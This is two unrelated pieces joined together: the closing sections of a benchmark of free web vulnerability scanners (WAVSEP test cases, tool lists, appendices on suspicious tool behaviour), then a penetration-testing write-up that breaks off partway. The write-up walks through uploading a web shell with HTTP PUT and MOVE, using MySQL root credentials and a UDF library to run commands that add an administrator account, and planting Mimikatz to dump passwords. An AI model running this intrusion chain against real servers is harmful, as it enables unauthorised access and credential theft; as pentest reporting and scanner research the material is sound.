\(http://www.darknet.org.uk/\), **Packet Storm**
\(http://packetstormsecurity.org/\), **Help Net Security** \(http://www.net-
security.org/\), **Astalavista** \(http://www.astalavista.com/\), **Google**
\(of course\) and many others that I have neglected to mention due to my
failing memory.

I hope that the conclusions, ideas, information and payloads presented in this
research \(and the benchmarks and tools that will follow\) will benefit all
vendors, and specifically help the open source community to locate code
sections that all tool vendors could assimilate to improve their products; to
that end I’ll try and contact each vendor in the next few weeks, in order to
notify them on source codes that could be assimilated in their product to make
it even better \(on the basis of development technology and the license of
each code section\).

**_Phase I – The “Traditional” Benchmark_**

**_Testing the scanners against vulnerable training & real life
applications._**

As I mentioned earlier, In the initial phase of the benchmark, I have tested
the various scanners in front of different vulnerable “training” applications
\(**_OWASP InsecureWebApp_** , **_a vulnerable .Net Application_** and a
simple vulnerable application I have written myself\), and tested many of them
against real life applications \(ASP.Net applications, Java applications based
on Spring, Web application written in PHP, etc\).

I decided not to publish the results just yet, and for a damn good reason
which I did not predict in the first place; nevertheless, the initial process
was **_very_** helpful because it helped me to learn about the different
aspects of the tools: **features** , **vulnerability list** , **coverage** ,
**installation processes** , **configuration methods** , **usage** ,
**adaptability** , **stability** , **performance** and a bunch of other
aspects.

I have found **VERY** interesting results that prove that certain old scanners
might provide great benefits in many cases that many modern projects will
**not** handle properly.

The process also enabled me to **_verify_** the support of the various tools
in their proclaimed features \(which I have literally done for the vast
majority of the tools, using proxies, sniffers and other experiments\), and
even get a general measure of their accuracy and capabilities.

However, after seeing the results diversity in different applications and
technologies, and after dealing with the countless challenges that came along
the way, I have discovered several limitations and even a **fundamental flaw**
in testing the accuracy, coverage, stability and performance of scanners in
this manner \(I have managed to test around 50 free and open source scanners
by this point, as insane and unbelievable as this number might sound\);

We may be able to estimate the general capabilities of a scanner from the
amount of REAL exposures that it located, the amount of exposures that it
missed \(false negatives\) and from the amount of FALSE exposures \(false
positives\) it identified as security exposures, BUT on the other hand, the
output of such a process will very much depend on the type of exposures that
exist in the tested application, how much each scanner is adapted to the
tested application technology and which private cases of exposures and
barriers exist in the tested application.

A scanner that will be very useful for scanning PHP web sites might completely
fail the task of scanning a ASP.Net web application, and a tool perfectly
suited for that task might crash when faced with certain application
behaviors, or be useless in detecting a private case of a specific
vulnerability that is not supported by the tool.

I guess what I’m trying to say is this:

There are **many forms** and variations to each security exposure, and in
order to prove my point, I’ll use the example of reflected cross site
scripting;

Locations vulnerable to reflected cross site scripting might appear in many
forms; they may require the attacker to send a whole HTML tag as a part of the
crafted link, require the injection of an HTML event \(in case the input-
affected-output is printed in the context of a tag and the usage of tag-
composing-characters is restricted\), they may appear in locations vulnerable
to SQL injection \(and thus restrict the use of certain characters, or even
require the usage of initial payloads that “disable” the SQL injection
vulnerability first\), require browser specific payloads or even direct
injection of javascript/vbscript \(in case the context is within a script tag,
certain HTML events or even in the context of certain properties\), and these
cases are only a fragment of the whole list\!

So, how can the tester know which of these cases is handled by each scanner
from the figures and numbers presented in a general benchmark?

I believe he **can’t**. No matter how solid the difference appears, he really
**can’t**.

Such information may allow him to root out useless tools \(tools that miss
even the most obvious exposures\), and even identify what appears to be a
significant difference in the accuracy of locating certain exposure instances,
but the latter case might have been very different if the tested applications
would have been prone to certain exposure instances that are the specialty of
a different scanner, or would have included a technological barrier that
requires a specific feature or behavior to bypass.

Thus, I have come to believe that the only way I could truly provide useful
information to testers on the accuracy and coverage of freely available web
application scanners is by writing detailed test cases for different
exposures, starting with some core common exposures such as SQL Injection,
cross site scripting and maybe a couple of others.

And thus, I have ended up investing countless nights in the development of a
new test-case based evaluation application, designed specifically to test the
support of each tool for detecting MANY different cases of certain common
exposures.

The results of the original benchmark \(against the vulnerable training web
applications\) will be published separately in a different article \(since by
now, many of them have been updated, and the results require modifications\).

**_Phase II - Project WAVSEP_**

After documenting and testing the features of every free & open source web
application scanner and scan script that I could get my hands on, I discovered
that the most common features were **Reflected Cross Site Scripting \(RXSS\)**
and **SQL Injection \(SQLi\)**. I decided to focus my initial efforts on these
two vulnerabilities, and develop a platform that could truly evaluate how good
each scanner is in **detecting** them, which tool combinations provide the
best results and which tool can bypass the largest amount of detection
barriers.

Project **WAVSEP** \(**Web Application Vulnerability Scanner Evaluation
Project**\) was implemented as a set of vulnerable JSP pages; each page
implementing a unique test case.

A test case is defined as a unique combination of the following elements:

  * · A certain instance of a given vulnerability.
  * · Attack vectors with certain input origins \(either GET or POST values, and in the future, also URL/path, cookie, various headers, file upload content and other origins\).

Currently, only GET and POST attack vectors are covered, since most scanners
support only GET and POST vectors \(future versions of WAVSEP will include
support for additional databases, additional response types, additional
detection barriers, additional attack vector origins and additional
vulnerabilities\).

Project WAVSEP currently consists of the following test cases:

  * 64 Reflected XSS test cases \(32 GET cases, 32 POST cases -> **66** total vulnerabilities\)
  * 130 SQL Injection test cases, most of them implemented for MySQL & MSSQL \(65 GET cases, 65 POST Vases -> **136** total vulnerabilities\)

o The list of test cases includes vulnerable pages that respond with 500 HTTP
errors, 200 HTTP Responses with erroneous text, 200 HTTP Responses with
differentiation or completely identical 200 HTTP responses.

o 80 out of 136 cases are simple SQL injection test cases \(500 & 200
erroneous HTTP responses\), and 56 are Blind SQL Injection test cases \(valid
and identical 200 HTTP responses\).

  * · 7 different categories of **false positive** Reflected XSS vulnerabilities \(GET OR POST\).
  * · 10 different categories of **false positive** SQL Injection vulnerabilities \(GET OR POST\).

Each exposure category in WAVSEP contains an **index** page with descriptions
of different barriers in test cases, structures of a sample detection payloads
and examples of such payloads.

A general description of each test case is also available in the following
excel spreadsheet:
http://code.google.com/p/wavsep/downloads/detail?name=VulnerabilityTestCases.xlsx&can=2&q=

Those that wish to verify the results of the benchmark can download the latest
source code of project WAVSEP \(including the list of test cases and their
description\) from the project’s web site:

http://code.google.com/p/wavsep/

**_Benchmark Overview_**

As mentioned before, the benchmark focused on testing free & open source tools
that are able to **detect** \(and not necessarily exploit\) security
vulnerabilities on a wide range of URLs, and thus, each tool tested needed to
support the following features:

  * · Either open source or free to use, so that open source projects and vendors generous enough to contribute to the community will benefit from the benchmark first.
  * · The ability to detect Reflected XSS and/or SQL Injection vulnerabilities.
  * · The ability to scan multiple URLs at once \(using either a crawler/spider feature, URL/Log file parsing feature or a built-in proxy\).
  * · The ability to control and limit the scan to internal or external host \(domain/IP\).

As a direct implication, the test **did NOT include** the tools listed in
**_Appendix A – A List of Tools Not Included In The Test_**.

The purpose of WAVSEP’s test cases is to provide a scale for understanding
which detection barriers each scanning tool can bypass, and which
vulnerability variations can be detected by each tool.

The Reflected Cross Site Scripting vulnerable pages are pretty standard &
straightforward, and should provide reliable basis for assessing the detection
capabilities of different scanners.

However, it is important to remember that the SQL Injection vulnerable pages
used a MySQL database as a data repository, and thus, the SQL Injection
detection results **_only reflect detection results of SQL Injection
vulnerabilities in this type of database_** ; the results that might vary when
the back end data repository will be different \(a theory that will be
verified in the next benchmark\).

**_Description of Comparison Tables_**

**The list of tools tested in this benchmark is organized within the following
reports:**

List of Tested Scanners
\(http://wavsep.googlecode.com/files/List%20of%20Tested%20Web%20Application%20Vulnerability%20Scanners%20v1.0.pdf\)

Source, License and Technical Details of Tested Scanners
\(http://wavsep.googlecode.com/files/Details%20of%20Tested%20Web%20Application%20Vulnerability%20Scanners%20v1.0.pdf\)

**For those of you that wish to get straight to the point, the results of the
accuracy assessment are organized within the following reports:**

Benchmark Results – Reflected XSS Detection Accuracy
\(http://wavsep.googlecode.com/files/Web%20Application%20Scanner%20RXSS%20Detection%20Accuracy%20v1.0.pdf\)

Benchmark Results – SQL Injection Detection Accuracy – Total
\(http://wavsep.googlecode.com/files/Web%20Application%20Scanner%20SQLi%20Detection%20Accuracy%20v1.0.pdf\)

Benchmark Drilldown – Blind SQL Injection Detection
\(http://wavsep.googlecode.com/files/Web%20Application%20Scanner%20SQLi%20Detection%20Accuracy%20-%20Blind%20v1.0.pdf\)

Benchmark Drilldown – Erroneous SQL Injection Detection

\(http://wavsep.googlecode.com/files/Web%20Application%20Scanner%20SQLi%20Detection%20Accuracy%20-%20ErrorBased%20v1.0.pdf\)

**Additional information was gathered during the benchmark, including
information related to the different features of various scanners. These
details are organized in the following reports, and might prove useful when
searching for tools for specific tasks or tests:**

Comparison of Active Vulnerability Detection Features
\(http://wavsep.googlecode.com/files/Active%20Vulnerability%20Detection%20Features%20Comparison%20v1.0.pdf\)

Comparison of Complementary Scanning Features - Passive Analysis, CGI
Scanning, Brute Force, etc
\(http://wavsep.googlecode.com/files/Complementary%20Scan%20Features%20Comparison%20v1.0.pdf\)

Comparison of Usability, Coverage and Scan Initiation Features
\(http://wavsep.googlecode.com/files/List%20of%20Scanner%20Features%20%281%20of%203%29%20v1.0.pdf\)

Comparison of Authentication, Scan Control and Connection Support Features
\(http://wavsep.googlecode.com/files/List%20of%20Scanner%20Features%20%282%20of%203%29%20v1.0.pdf\)

Comparison of Advanced and Uncommon Features
\(http://wavsep.googlecode.com/files/List%20of%20Scanner%20Features%20%283%20of%203%29%20v1.0.pdf\)

**Information regarding the scan logs, list of untested tools and abnormal
behaviors of scanners can be found in the article appendix sections:**

The following appendix report contains a list of scanners that were not
included in the test:

**_Appendix A – A List of Tools not included in the Test \(The end of the
article\)_**

The scan logs \(describing the executing process and configuration of each
scanner\) can be viewed in the following appendix report: Appendix B – WAVSEP
Scanning Logs \(http://wavsep.googlecode.com/files/WavsepScanLogs%20v1.0.pdf\)

During the benchmark, certain tools with abnormal behavior were identified;
the list of these tools is presented in the following appendix report:

**_Appendix C – Scanners with Abnormal Behavior \(The end of the article\)_**

**_List of Tested Scanners_**

The following report \(PDF\) contains the list of scanners tested in this
benchmark, in addition to their version, their author and their status:
http://wavsep.googlecode.com/files/List%20of%20Tested%20Web%20Application%20Vulnerability%20Scanners%20v1.0.pdf

For those of you that want a quick glimpse, the following scanners were tested
in the benchmark:

Acunetix Web Vulnerability Scanner \(Free Edition\), aidSQL, Andiparos,
arachni, crawlfish, Gamja, Grabber, Grendel Scan, iScan, JSKY Free Edition,
LoverBoy, Mini MySqlat0r, Netsparker Community Edition, N-Stalker Free
Edition, Oedipus, openAcunetix, Paros Proxy, PowerFuzzer, Priamos,
ProxyStrike, Sandcat Free Edition, Scrawler, ScreamingCSS, ScreamingCobra,
Secubat, SkipFish, SQID \(SQL Injection Digger\), SQLiX, sqlmap, UWSS\(Uber
Web Security Scanner\), VulnDetector, W3AF, Wapiti, Watobo, Web Injection
Scanner \(WIS\), WebCruiser Free Edition, WebScarab, WebSecurify, WSTool,
Xcobra, XSSer, XSSploit, XSSS, ZAP.

**_Source, License and Technical Details of Tested Scanners_**

The following report \(PDF\) contains a comparison of licenses, development
technology and sources \(home page\) of different scanners:
http://wavsep.googlecode.com/files/Details%20of%20Tested%20Web%20Application%20Vulnerability%20Scanners%20v1.0.pdf

**_Comparison of Active Vulnerability Detection Features_**

The following report \(PDF\) contains a comparison of active vulnerability
detection features in the various scanners:
http://wavsep.googlecode.com/files/Active%20Vulnerability%20Detection%20Features%20Comparison%20v1.0.pdf

Aside from the **Count** column \(which represents the total amount of
**active** vulnerability detection features supported by the tool, not
including complementary features such as web server scanning and passive
analysis\), each column in the report represents an active vulnerability
detection feature, which translates to the exposure presented in the following
list:

**SQL** – SQL Injection

**BSQL** – Blind SQL Injection

**RXSS** – Reflected Cross Site Scripting

**PXSS** – Persistent / Stored Cross Site Scripting

**DXSS** – DOM XSS

**Redirect** – External Redirect / Phishing via Redirection

**Bck** – Backup File Detection

**Auth** – Authentication Bypass

**CRLF** – CRLF Injection / Response Splitting

**LDAP** – LDAP Injection

**XPath** – X-Path Injection

**MX** – MX Injection

**Session Test** – Session Identifier Complexity Analysis

**SSI** – Server Side Include

**RFI-LFI** – Directory Traversal / Remote File Include / Local File Include
\(Will be separated into different categories in future benchmarks\)

**Cmd** – Command Injection / OS Command Injection

**Buffer** – Buffer Overflow / Integer Overflow \(Will be separated into
different categories in future benchmarks\)

**CSRF** – Cross Site Request Forgery

**A-Dos** – Application Denial of Service / RegEx DoS

**_Comparison of Complementary Scanning Features_**

The following report \(PDF\) contains a comparison of complementary
vulnerability detection features in the various scanners:
http://wavsep.googlecode.com/files/Complementary%20Scan%20Features%20Comparison%20v1.0.pdf

In order to clarify what each column in the report table means, use the
following interpretation:

**Web Server Hardening** – plugins that scan for HTTP method support \(Trace,
WebDAV\), directory listing, Robots and cross-domain information disclosure,
version specific vulnerabilities, etc.

**CGI Scanning** \- Default files, common vulnerable applications, etc.

**Passive Analysis** – security tests that don’t require any actual attacks,
and are based instead on information gathering and analysis of responses,
including certificate & cipher tests, gathering of comments, mime type
analysis, autocomplete detection, insecure transmission of credentials, google
hacking, etc.

**File Enumeration** – directory and file enumeration features.

**_Comparison of Usability and Coverage Features_**

The following report \(PDF\) contains a comparison of usability, coverage and
scan initiation features of different scanners:

http://wavsep.googlecode.com/files/List%20of%20Scanner%20Features%20%281%20of%203%29%20v1.0.pdf

**Configuration & Usage Scale**

Very Simple - GUI + Wizard

Simple - GUI with simple options, Command line with scan configuration file or
simple options

Complex - GUI with numerous options, Command line with multiple options

Very Complex - Manual scanning feature dependencies, multiple configuration
requirements

**Stability Scale**

Very Stable - Rarely crashes, Never gets stuck

Stable - Rarely crashes, Gets stuck only in extreme scenarios

Unstable - Crashes every once in a while, Freezes on a consistent basis

Fragile – Freezes or Crashes on a consistent basis, Fails performing the
operation in many cases

\(Unlike the accuracy values presented in the benchmark for W3AF, which are up
date, the stability values for W3AF represent the condition of 1.0-RC3, and
**not** 1.0-RC4; the values will be updated in the next benchmark, after the
new version will be thoroughly tested\)

**Performance Scale**

Very Fast - Fast implementation with limited amount of scanning tasks

Fast - Fast implementation with plenty of scanning tasks

Slow - Slow implementation with limited amount of scanning tasks

Very Slow - Slow implementation with plenty of scanning tasks

**_Comparison of Connection and Authentication Features_**

The following report \(PDF\) contains a comparison of connection,
authentication and scan control features of different scanners:

http://wavsep.googlecode.com/files/List%20of%20Scanner%20Features%20%282%20of%203%29%20v1.0.pdf

**_Comparison of Advanced Features_**

The following report \(PDF\) contains a comparison of advanced and uncommon
scanner features:

http://wavsep.googlecode.com/files/List%20of%20Scanner%20Features%20%283%20of%203%29%20v1.0.pdf

**_Benchmark Results – Reflected XSS Detection Accuracy_**

The results of the Reflected Cross Site Scripting \(RXSS\) benchmark are
presented in the following report \(PDF format\):

http://wavsep.googlecode.com/files/Web%20Application%20Scanner%20RXSS%20Detection%20Accuracy%20v1.0.pdf

The results only include vulnerable pages linked from the index-xss.jsp index
page \(RXSS-GET or RXSS-POST directories, in addition to the RXSS-
FalsePositive directory\). XSS Vulnerable locations in the SQL injection
vulnerable pages were not taken into account, since they don’t necessarily
represent a unique scenario \(or at least not until the “layered
vulnerabilities” scenario will be implemented\).

**_Benchmark Results – SQL Injection Detection Accuracy_**

The overall results of the SQL Injection benchmark are presented in the
following report \(PDF format\):

http://wavsep.googlecode.com/files/Web%20Application%20Scanner%20SQLi%20Detection%20Accuracy%20v1.0.pdf

**_Benchmark Drilldown – Erroneous SQL Injection Detection_**

The results of the Error-Based SQL Injection benchmark are presented in the
following report \(PDF format\):

http://wavsep.googlecode.com/files/Web%20Application%20Scanner%20SQLi%20Detection%20Accuracy%20-%20ErrorBased%20v1.0.pdf

**_Benchmark Drilldown – Blind SQL Injection Detection_**

The results of the Blind SQL Injection benchmark are presented in the
following report \(PDF format\):

http://wavsep.googlecode.com/files/Web%20Application%20Scanner%20SQLi%20Detection%20Accuracy%20-%20Blind%20v1.0.pdf

**_Initial Analysis & Conclusions_**

After performing an initial analysis on the data, I have come to a simple
conclusion as to which combination of tools will be **the most effective** in
detecting **Reflected** **XSS** vulnerabilities in the public
\(unauthenticated\) section of a tested web site, **while providing the least
amount of false positives** :

Netsparker CE \(42 cases\), alongside Acunetix Free Edition \(38 cases,
including case 27 which is missed by Netsparker\), alongside Skipfish
\(detects case 12 which is missed by both tools\). I’d also recommend
executing N-Stalker on small applications since it able to detect certain
cases that none of the other tested tools can \(but the XSS scanning feature
is limited to 100 URLs\).

Using Sandcat or Proxy Strike alongside Burp Spider/Paros Spider/External
Spider can help detect additional potentially vulnerable locations \(cases 10,
11, 13-15 and 17-21\) that could be manually verified by a human tester.

So combining four tools will give the best possible result of RXSS detection
in the unauthenticated section of an application, using today’s free & open
source tools… WOW, it took some time to get to that conclusion. However,
scanning the public section of the application is one thing, and scanning the
internal section \(authenticated section\) of the application is another;
effectively scanning the authenticated section requires various features such
as authentication support, URL scanning restrictions, manual crawling \(in
case damage might be caused from crawling certain URLs\), etc; so the
conclusions for the public section are not necessarily fit for the internal
section.

During the next few days, I’ll try and analyze the results and come to
additional conclusions \(internal RXSS scanning, external & internal SQLi
scanning, etc\). Simply check my blog in a few days to see which conclusions
were already published.

An updated benchmark document will be released in the WAVSEP project homepage
after each addition, conclusion or change.

**_A comment about accuracy and inconsistent results_**

During the benchmark, I have executed each tool more than once, and on rare
occasions, dozens of times. I have discovered that some of the tools have
inconsistent results in certain fields \(particularly SQL injection\). The
following tools produced inconsistent results in the SQLi detection field:
**Skipfish** \(my guess is the inconsistencies are related to crawling
problems and connection timeouts\), **Oedipus** , and probably a couple of
others that I can’t remember.

It is important to note that the 100% Reflected XSS detection ratio that
**Sandcat** and **ProxyStrike** produce comes with a huge amount of false
positives, a fact that signifies that the detection algorithm works more like
a passive scanner \(such as watcher by casaba\), and less like an active
intelligent scanner that verifies that the injection returned is sufficient to
exploit the exposure in the given scope. This conclusion **does not**
necessarily pinpoint anything about other features of these scanners \(for
example, the SQL injection detection module of proxystrike is pretty decent\),
or presume that the XSS scanning features of these tools are “useless”; on the
contrary, these tools can be used as means to obtain more leads for human
verification, and can be very useful in the right context.

Furthermore, the 100% SQL Injection detection ratio of Wapiti needs to be
further investigated since andiparos produced the same ratio when the titles
of the various pages contained the word SQL \(which is part of the reason that
in the latest version of WAVSEP, this word does not appear anywhere\).

Additional conclusions will follow.

**_So What Now?_**

So now that we have plenty of statistics to analyze, and a new framework for
testing scanners, it’s time to discuss the next phases.

Although the calendar tells me that it took me 9 months to conduct this
research, in reality, it took me a couple of years to collect all the tools,
learn how to install and use them, gather everything that was freely available
for more than 5 minutes and test them all together.

However, since my research led me to develop a whole framework for
benchmarking \(aside from the WAVSEP project which was already published\), I
believe \(or at least hope\) that thanks to the platform, future benchmarks
will be **much** easier to conduct, and in fact, I’m planning on updating the
content of the web site \(http://sectooladdict.blogspot.com/\) with additional
related content on a regular basis.

In addition to different classes of benchmarks, the following goals will be in
the highest priority:

  * · Improve the testing framework \(WAVSEP\); add additional test cases and additional security vulnerabilities.
  * · Perform additional benchmarks on the framework, and on a consistent basis. I'm currently aiming for **one major benchmark per year** , although I might start with twice per year, and a couple of initial releases that might come even sooner.
  * · Publish the results of tests against sample vulnerable web applications, so that some sort of feedback on other types of exposures will be available \(until other types of vulnerabilities will be implemented in the framework\), as well as features such as authentication support, crawling, etc.
  * · Gradually develop a framework for testing additional related features, such as authentication support, malformed HTML tolerance, abnormal response support, etc.
  * · Integration with external frameworks for assessing crawling capabilities, technology support, etc.

I hope that this content will help the various vendors improve their tools,
help pen-testers choose the right tool for each task, and in addition, help
create some method of testing the numerous tools out there.

The different vendors will receive an email message from an email address
designated for communicating with them. I urge them to try and contact me
through that address, and not using alternative means, so I’ll be able to set
my priorities properly. **I apologize in advance for any delays in my
responses in the next few weeks.**

**_Appendix A – A List of Tools_** **_Not Included In the Test_**

The benchmark focused on web application scanners that are free to use
\(freeware and/or open source\), are able to detect either Reflected XSS or
SQL Injection vulnerabilities, and are also able to scan multiple URLs in the
same execution.

As a direct implication, the test **did NOT include** the following types of
tools:

  * · **_Commercial scanners_** \- The commercial versions of AppScan, WebInspect, Cenzic, NTOSpider, Acunetix, Netsparker, N-Stalker, WebCruiser, Sandcat and many other commercial tools that I failed to mention. Any tool in the benchmark that holds the same commercial name is actually a limited free version of the same product, and does **not** refer \(or even necessarily reflect on\) the full product.
  * · **_Online Scanning Services_** – Online applications that remotely scan applications, including \(but not limited to\) Zero Day Scan, Appscan On Demand, Click To Secure, QualysGuard Web Application Scanning \(Qualys\), Sentinel \(WhiteHat\), Veracode \(Veracode\), VUPEN Web Application Security Scanner \(VUPEN Security\), WebInspect \(online service - HP\), WebScanService \(Elanize KG\), Gamascan \(GAMASEC – currently offline\), etc.
  * · **_Scanners without RXSS / SQLi detection features_** _, including \(but not limited to\):_

o **LFIMap**

o **phpBB-RFI Scanner**

o **DotDotPawn**

o **CSRF Tester**

o etc

  * · **_Passive Scanners \(response analysis without verification\)_**_, including \(but not limited to\):_

o **Watcher \(Fiddler Plugin by Casaba Security\)**

o **Skavanger \(OWASP\)**

o **Pantera \(OWASP\)**

o **Rat proxy \(Google\)**

o Etc

  * · **_Scanners for specific products or services \(CMS scanners, Web Services Scanners, etc\),_** _including \(but not limited to\):_

o **WSDigger**

o **Sprajax**

o **ScanAjax**

o **Joomscan**

o **Joomlascan**

o **Joomsq**

o **WPSqli**

o etc

  * · **_White box & Code Review Application Scan Tools_** _, including \(but not limited to\):_

o **PuzlBox**

o **Inspathx**

o etc

  * · **_Uncontrollable Scanners_** \- scanners that can’t be controlled or restricted to scan a single site, since they either receive the list of URLs to scan from Google Dork, or continue and scan external sites that are linked to the tested site. This list currently includes the following tools \(and might include more\):

o **Darkjumper 5.8** \(scans additional external hosts that are linked to the
given tested host\)

o **Bako's SQL Injection Scanner** **2.2** \(only tests sites from a google
dork\)

o **Serverchk** \(only tests sites from a google dork\)

o **XSS Scanner by Xylitol** \(only tests sites from a google dork\)

o **Hexjector \(by hkhexon\)** – also falls into other categories

o etc

  * · **_Deprecated Scanners_** \- incomplete tools that were not maintained for a very long time. This list currently includes the following tools \(and might include more\):

o **Wpoison** \(development stopped in 2003, the new official version was
never released, although the 2002 development version can be obtained by
manually composing the sourceforge URL which does not appear in the web site-
http://sourceforge.net/projects/wpoison/files/ \)

o etc

  * · **_De facto Fuzzers_** – tools that scan applications in a similar way to a scanner, but where the scanner attempts to conclude whether or not the application or is vulnerable \(according to some sort of “intelligent” set of rules\), the fuzzer simply collects abnormal responses to various inputs and behaviors, leaving the task of concluding to the human user.

o **Lilith 0.4c/0.6a** \(both versions 0.4c and 0.6a were tested, and although
the tool seems to be a scanner at first glimpse, it doesn’t perform any
intelligent analysis on the results\).

o **Spike proxy** **1.48** \(although the tool has XSS and SQLi scan features,
it acts like a fuzzer more then it acts like a scanner – it sends payloads of
partial XSS and SQLi, and does not verify that the context of the returned
output is sufficient for execution or that the error presented by the server
is related to a database syntax injection, leaving the verification task for
the user\).

  * · **_Fuzzers_** – scanning tools that lack the independent ability to conclude whether a given response represents a vulnerable location, by using some sort of verification method \(this category includes tools such as JBroFuzz, Firefuzzer, Proxmon, st4lk3r, etc\). Fuzzers that had at least one type of exposure that was verified were included in the benchmark \(Powerfuzzer\).
  * · **CGI Scanners:** vulnerability scanners that focus on detecting hardening flaws and version specific hazards in web infrastructures \(Nikto, Wikto, WHCC, st4lk3r, N-Stealth, etc\)
  * · **_Single URL Vulnerability Scanners_** \- scanners that can only scan one URL at a time, or can only scan information from a google dork \(uncontrollable\).

o **Havij \(byitsecteam.com\)**

o **Hexjector \(by hkhexon\)**

o **Simple XSS Fuzzer \[SiXFu\] \(bywww.EvilFingers.com\)**

o **Mysqloit \(by muhaimindz\)**

o **PHP Fuzzer \(by RoMeO from DarkMindZ\)**

o **SQLi-Scanner \(by Valentin Hoebel\)**

o Etc.

  * · **_The following scanners_** :

o **sandcatCS 4.0.3.0** \- Since sandcat 4.0 free edition, a more advanced
tool from the same vendor is already tested in the benchmark.

o **GNUCitizen JAVASCRIPT XSS SCANNER** \- since WebSecurify, a more advanced
tool from the same vendor is already tested in the benchmark.

o **Vulnerability Scanner 1.0 \(by cmiN, RST\)** \- since the source code
contained traces for remotely downloaded RFI lists from locations that do not
exist anymore. I might attempt to test it anyway in the next benchmark.

o **XSSRays 0.5.5 -** I might attempt to test it in the next benchmark.

o **XSSFuzz 1.1 -** I might attempt to test it in the next benchmark.

o **XSS Assistant -** I might attempt to test it in the next benchmark.

  * · **_Vulnerability Detection Helpers_** – tools that aid in discovering a vulnerability, but do not detect the vulnerability themselves; for example:

o **Exploit-Me Suite \(XSS-Me, SQL Inject-Me, Access-Me\)**

o **Fiddler X5s plugin**

  * · **_Exploiters_ -** tools that can exploit vulnerabilities but have no independent ability to automatically detect vulnerabilities on a large scale. Examples:

o **MultiInjector**

o **XSS-Proxy-Scanner**

o **Pangolin**

o **FGInjector**

o **Absinth**

o **Safe3 SQL Injector** \(an exploitation tool with scanning features
\(pentest mode\) that are **not available** in the free version\).

o etc

  * · **_Exceptional Cases_**

o **SecurityQA Toolbar \(iSec\)** – various lists and rumors include this tool
in the collection of free/open-source vulnerability scanners, but I wasn’t
able to obtain it from the vendor’s web site, or from any other legitimate
source, so I’m not really sure it fits the “free to use” category.

**_Appendix B – WAVSEP Scanning Logs_**

The execution logs, installation steps and configuration used while scanning
with the various tools are all described in the following report \(PDF
format\):

http://wavsep.googlecode.com/files/WavsepScanLogs%20v1.0.pdf

**_Appendix C – Scanners with Abnormal Behavior_**

During the assessment, parts of the source code of open source scanners and
the HTTP communication of some of the scanners was analyzed; some tools
behaved in an **abnormal** manner that should be reported:

  * · **_Priamos IP Address Lookup_** – The tool Priamos attempts to access “whatismyip.com” \(or some similar site\) whenever a scan is initiated \(verified by channeling the communication through Burp proxy\). This behavior might derive from a trojan horse that infected the content on the project web site, so I’m not jumping to any conclusions just yet.
  * · **_VulnerabilityScanner Remote RFI List Retrieval_** \(listed in the scanners that were **not** tested, appendix A, developed by a group called RST, http://pastebin.com/f3c267935\) – In the source code of the tool VulnerabilityScanner \(a python script\), I found traces for remote access to external web sites for obtaining RFI lists \(might be used to refer the user to external URLs listed in the list\). I could not verify the purpose of this feature since I didn’t manage to activate the tool \(yet\); in theory, this could be a legitimate list update feature, but since all the lists the tool uses are hardcoded, I didn’t understand the purpose of the feature. Again, I’m **not** jumping to any conclusions; this feature might be related to the tool’s initial design, which was not fully implemented due to various considerations. I’ll try and drill deeper in the next benchmark \(and hopefully, manage to test the tool’s accuracy as well\).

Although I did **not** verify that any of these features is malicious in
nature, these features and behaviors might be abused to compromise the
security of the tester’s workstation \(or to incriminate him in malicious
actions\), and thus, require additional investigation to disqualify this
possibility.

  

Posted by Shay-Chen

# Owning The Enterprise With HTTP PUT - Checkmate

**Created:**| _5/3/2014 11:21:36 PM_  
---|---  
**Updated:**| _5/3/2014 11:21:36 PM_  
**Author:**| __  
**Tags:**| _web-app-sec pentest_  
  

# Owning The Enterprise With HTTP PUT

During a routine penetration testing engagement, we found an IIS webserver
with HTTP methods \(verbs\) like PUT and DELETE enabled on it. During
enumeration of the web server we figured it was configured to run PHP as well.

The PUT method allows an attacker to place a file on the server. Uploading a
web shell was our obvious choice. However due to some security settings
enabled on the server we were unable to upload any php/aspx/jsp etc. files.
Had we been able to upload a shell, we would’ve gotten code execution on the
server. But it was not as simple as we thought it to be.

After trying some variation of the file types, we figured out we could upload
.txt files on the server. We could access these files by opening them through
the browser. After multiple attempts we decided to use something very simple:
“MOVE”method to rename the files once they were uploaded on the server. So we
uploaded a .php file as .txt and renamed that to .php

The screenshot for these two steps is shown below:

<img src='img/Temp2_5985.png' alt='Owning the enterprise with HTTP PUT-1' />

Here is the output when visiting our test123.php file,

<img src='img/Temp2_5984.png' alt='Owning the enterprise with HTTP PUT-2' />

Safemode was enabled on the server and we didn’t really try to bypass that.
But we uploaded an ASPX Shell on the server \(rename the .txt file to .aspx as
mentioned earlier\). At this point our service was running with “Network
Service”Privileges and we were limited in terms of our control on the Server.

Using our ASPX webshell we were at least able to traverse the content on the
server. We were able to read the MySQL configuration details for one of the
applications configured on the server and noted that the database is
configured using root.

Armed with the credentials of the MySQL root user, we could login to the
server remotely. Unlike Microsoft SQL Server there is no built-in stored
procedure like xp\_cmdshell that allows us to execute OS commands. However,
MySQL has User Defined Functions \(UDF\) that can be used to execute OS level
commands but they are not available by default. At this point
“lib\_mysqludf\_sys”available on https://github.com/mysqludf comes in handy.
The “lib\_mysqludf\_sys”library has functions to interact with the operating
system. These functions allow you to interact with the execution environment
in which MySQL runs. This library is available with SQLMAP \(udf/mysql\)

Firstly, we copied the library on to the target machine in a known location
using the PUT method. We had to write this file to
“c:\windows\system32”directory. But our web server was running with limited
privileges.

While logging in we face another issue, the root user is not allowed to login
remotely on the MySQL database. This was easy to overcome\!We wrote a php file
which allowed our IP address to login remotely on the MySQL server and
executed it using the same steps that we have been doing so far.

Next, we logged in and triggered a SQL query to load this file in to a newly
created table row. Here, we are instructing MySQL to create a new function to
point to the code in our malicious library. Finally, we executed this new
function with arbitrary system commands that we wish to run.

The commands used are shown below:

[code]

     USE mysql;
     CREATE TABLE npn(line blob);
     INSERT INTO npn values(load_files('C://root//lib_mysqludf_sys.dll'));
     SELECT * FROM mysql.npn INTODUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
     CREATE FUNCTION sys_exec RETURNSintegerSONAME 'lib_mysqludf_sys_32.dll';
     SELECT sys_exec("net user omair NIIConsult!n4 /add");
     SELECT sys_exec("net localgroup Administrators omair /add");
[/code]

As seen a user omair with administrative privileges was added to the server.

Further, we logged in to the server through remote desktop. Time to escalate
our privileges even further\!At this stage, we were local administrator and
did not have a domain account. We found multiple users logged in to the
system. At this point we want to dump the passwords from the memory of that
system. Mimikatz helps you do that.

#### What is Mimikatz?

Mimikatz is a slick tool that pulls plain-text passwords out of WDigest
interfaced through LSASS. Read here to know more about how to use different
features in Mimikatz

We then uploaded “mimikatz.exe”on the server using our account omair. It was
likely that the antivirus on the server would flag it. In our case it did not.
